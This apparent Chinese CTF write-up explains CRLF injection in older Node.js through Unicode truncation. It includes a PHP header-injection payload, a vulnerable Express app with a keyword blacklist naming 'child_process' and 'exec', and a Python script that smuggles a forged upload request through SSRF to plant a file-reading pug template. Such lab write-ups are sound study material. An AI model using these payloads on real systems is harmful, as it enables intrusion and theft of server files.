一道题学习node.js中的CRLF注入
创始人
2024-01-20 23:36:05

前言

这几天刷题遇到在node.js题目中注入CRLF实现ssrf的题目,对于我来说知识听新颖。在此记录一下。

CRLF注入

学习过http请求走私漏洞的师傅对于这个CRLF肯定不会陌生。所谓的CRLF就是回车加换行。常用于http数据包。字段之间用一个CRLF分割,首部和主题之间由两个CRLF分割。如果说我们能够控制http数据包中莫一个首部字段,况且web应用没有对用户的输入做严格的过滤,我们就可以向数据包注入一些CRLF,同时添加修改我们想要的字段以及字段值,比如cookie等。在此就用php的fsockopen函数测试一下。

测试代码:

\n";
} else {$out = "GET / HTTP/1.1\r\n";$out .= "Host: $host\r\n";$out .= "Connection: Close\r\n\r\n";fwrite($fp, $out);while (!feof($fp)) {echo fgets($fp, 128);}fclose($fp);
}
?>

url输入1.116.160.155:2400,同时我们在服务器监听2400端口。最后得到回显。

看这个简单的数据包,我们能够控制host头,那么我们就在host注入,添加cookie,url输入

?url=1.116.160.155:2400%0d%0aCookie:PHPSESSID=admin

得到回显,

在http规范中,CRLF是一行的结束,当检测到%0d%0a,就会 转到下一行,我们添加的cookie字段就默认添加在Host字段下面了。成功在数据包中添加了cookie字段。这样我们就成功修改数据头部。

HTTP请求路径中的unicode字符损坏

这篇文章主要说明node.js中CRLF的注入。但是上文讲解的直接添加CRLF在这里是不奏效的,node.js中的http库会检测用户如果含有回车换行会直接报错。但是,node.js对http请求写入路径时,对unicode字符的有损编码可能会引起CRLF注入。

什么意思呢?虽然我们发出的请求路径指定为字符串,但是node.js会将请求作为原始字节输出。也就意味着我们需要对请求unicode编码。而js也是默认支持unicode字符串的。node.js默认使用“latin1”编码,这是一种单字节字符集,不能表示高编码unicode字符串。比如说\u0130就会被截断为\u30。

但看字符损坏没有什么用处,如果我们传入\u010D\u010A,截断之后就变成了\u0D\u0A,就变成了CRLF,那么我们就可以利用这个漏洞向数据包注入恶意的CRLF。

 

这个unicode字符损坏漏洞只适用于node.js v8以及更低的版本。在10版本中如果遇到非ascii码就会抛出错误。看一个题目感受一下。

[GYCTF2020]Node Game

打开题目:

 

这里有两个功能,一个是文件上传,只能admin才能上传文件。另一个功能是获取源代码。看一下node.js代码:

node.js源代码

 

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');  // morgan是express默认的日志中间件
const multer = require('multer');
app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))
app.get('/', function(req, res) {var action = req.query.action?req.query.action:"index";if( action.includes("/") || action.includes("\\") ){//检测action是否有/和\\res.send("Errrrr, You have been Blocked");}file = path.join(__dirname + '/template/'+ action +'.pug');var html = pug.renderFile(file);res.send(html);
});
app.post('/file_upload', function(req, res){var ip = req.connection.remoteAddress;var obj = {msg: '',}if (!ip.includes('127.0.0.1')) {obj.msg="only admin's ip can use it"res.send(JSON.stringify(obj));return }fs.readFile(req.files[0].path, function(err, data){if(err){obj.msg = 'upload failed';res.send(JSON.stringify(obj));}else{var file_path = '/uploads/' + req.files[0].mimetype +"/";var file_name = req.files[0].originalnamevar dir_file = __dirname + file_path + file_nameif(!fs.existsSync(__dirname + file_path)){// 以同步的方法检测目录是否存在try {fs.mkdirSync(__dirname + file_path)// 如果目录不存在则创建目录} catch (error) {obj.msg = "file type error";res.send(JSON.stringify(obj));return}}try {fs.writeFileSync(dir_file,data)obj = {msg: 'upload success',filename: file_path + file_name} } catch (error) {obj.msg = 'upload failed';}res.send(JSON.stringify(obj));    }})
})
app.get('/source', function(req, res) {res.sendFile(path.join(__dirname + '/template/source.txt'));
});
app.get('/core', function(req, res) {var q = req.query.q;var resp = "";if (q) {var url = 'http://localhost:8081/source?' + qconsole.log(url)var trigger = blacklist(url);if (trigger === true) {res.send("

error occurs!

");} else {try {http.get(url, function(resp) {resp.setEncoding('utf8');resp.on('error', function(err) {if (err.code === "ECONNRESET") {console.log("Timeout occurs");return;}});resp.on('data', function(chunk) {try {resps = chunk.toString();res.send(resps);}catch (e) {res.send(e.message);}}).on('error', (e) => {res.send(e.message);});});} catch (error) {console.log(error);}}} else {res.send("search param 'q' missing!");} }) function blacklist(url) {var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];var arrayLen = evilwords.length;for (var i = 0; i < arrayLen; i++) {const trigger = url.includes(evilwords[i]);if (trigger === true) {return true}} } var server = app.listen(8081, function() {var host = server.address().addressvar port = server.address().portconsole.log("Example app listening at http://%s:%s", host, port) })

路由

源代码一共有四个路由,分别说明一下:

'/'路由,我们能够包含一个pug模板文件,并且将其渲染,返回给我们客户端。

'/file_upload'路由,上传文件,但是限制上传者的ip为127.0.0.1,将文件上传到upload/目录下,但是通过这段代码:

var file_path = '/uploads/' + req.files[0].mimetype +"/";

我们可以控制mimetype的值,利用目录穿越让文件下载到我们指定的目录中去。

'/source'路由,显示源码。

'/core'路由,通过参数q向内网的8081端口传参。获取到数据并且返回给客户端。对url有黑名单的限制。

做题思路

从刚才的路由分析,我们可以看出/core是存在ssrf漏洞的。可以上传一个含有flag文件路径的pug模板文件,控制mimetype将文件下载到/template目录下。以便在/路由对我们上传的pug模板文件进行包含。目前最大的难题就是如何伪造本地上传。那么我们就通过/core路由伪造上传包来上传我们的pug文件。

题解

通过上传功能抓取到上传的post数据包。

对数据包进行删除cookie,修改host,origin,referer字段为本机地址。将Content-Type改为 ../template,以便目录穿越。利用node.js对高编码字符截断漏洞向http数据包注入CRLF,来伪造一个本地上传数据包。引用大佬脚本:

import urllib.parse
import requestspayload = ''' HTTP/1.1POST /file_upload HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 266
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryG01qmiZ5h6Ap0QSc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1:8081/?action=upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close------WebKitFormBoundaryG01qmiZ5h6Ap0QSc
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../templatedoctype html
htmlheadstyleinclude ../../../../../../../flag.txt
------WebKitFormBoundaryG01qmiZ5h6Ap0QSc--GET / HTTP/1.1
test:'''.replace("\n", "\r\n")def payload_encode(raw):ret = u""for i in raw:ret += chr(0x0100 + ord(i))  # 为回车换行添加高编码unicode字符return retpayload = payload_encode(payload)
print(payload)r = requests.get('http://31c97aff-75cd-40bb-8bcb-b71fbaadc74a.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
print(r.text)

上传pug文件后在根目录下访问?action=shell,在源代码中找到flag。

注意数据包中Content-Length字段一定要有,并且长度一定得正确。

关于pug模板的相关内容可参考一下链接:

pug模板入门_宿炎的博客-CSDN博客_pug模板

参考链接:初识HTTP响应拆分攻击(CRLF Injection)-安全客 - 安全资讯平台  

相关内容

热门资讯

埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
进口奶粉的排名 荷兰奶粉十大排... 越来越乱的国内奶粉市场让很多宝妈宝爸都不知道该如何选择奶粉品牌,宝宝的安全是第一位,奶粉的质量以及口...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
不用扬鞭自奋蹄 乘势而上千帆竞... 思明区正全力向“两个进位”目标发起冲刺,努力为建设高素质高颜值现代化国际化的厦门作出“思明贡献”。(...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...